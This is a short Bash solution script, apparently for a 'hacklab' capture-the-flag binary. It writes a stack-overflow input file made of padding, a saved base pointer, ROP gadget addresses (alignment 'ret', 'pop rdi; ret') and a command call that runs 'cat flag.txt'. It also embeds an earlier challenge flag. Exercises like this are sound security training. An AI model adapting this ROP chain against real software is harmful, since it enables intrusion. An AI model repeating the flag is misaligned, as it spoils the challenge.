10 lines
463 B
Bash
Executable File
10 lines
463 B
Bash
Executable File
OLDFLAG="hacklab{n3w_c4ll1ng_c0nv3nt1ons!_wYLVjeJr}"
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PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" #32
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SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00" #kind of irrelevant
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GADGET1="\xa4\x12\x40\00\00\00\00\00" #ret (for stack alignment)
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GADGET2="\xa3\x12\x40\00\00\00\00\00" #pop rdi, ret
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CMDADDR="\x08\x20\x40\00\00\00\00\00"
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CMDCALL="\x96\x11\x40\00\00\00\00\00"
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printf "$OLDFLAG\n$PADDING$SAVERBP$GADGET1$GADGET2$CMDADDR$CMDCALL\ncat flag.txt\n" > input.txt
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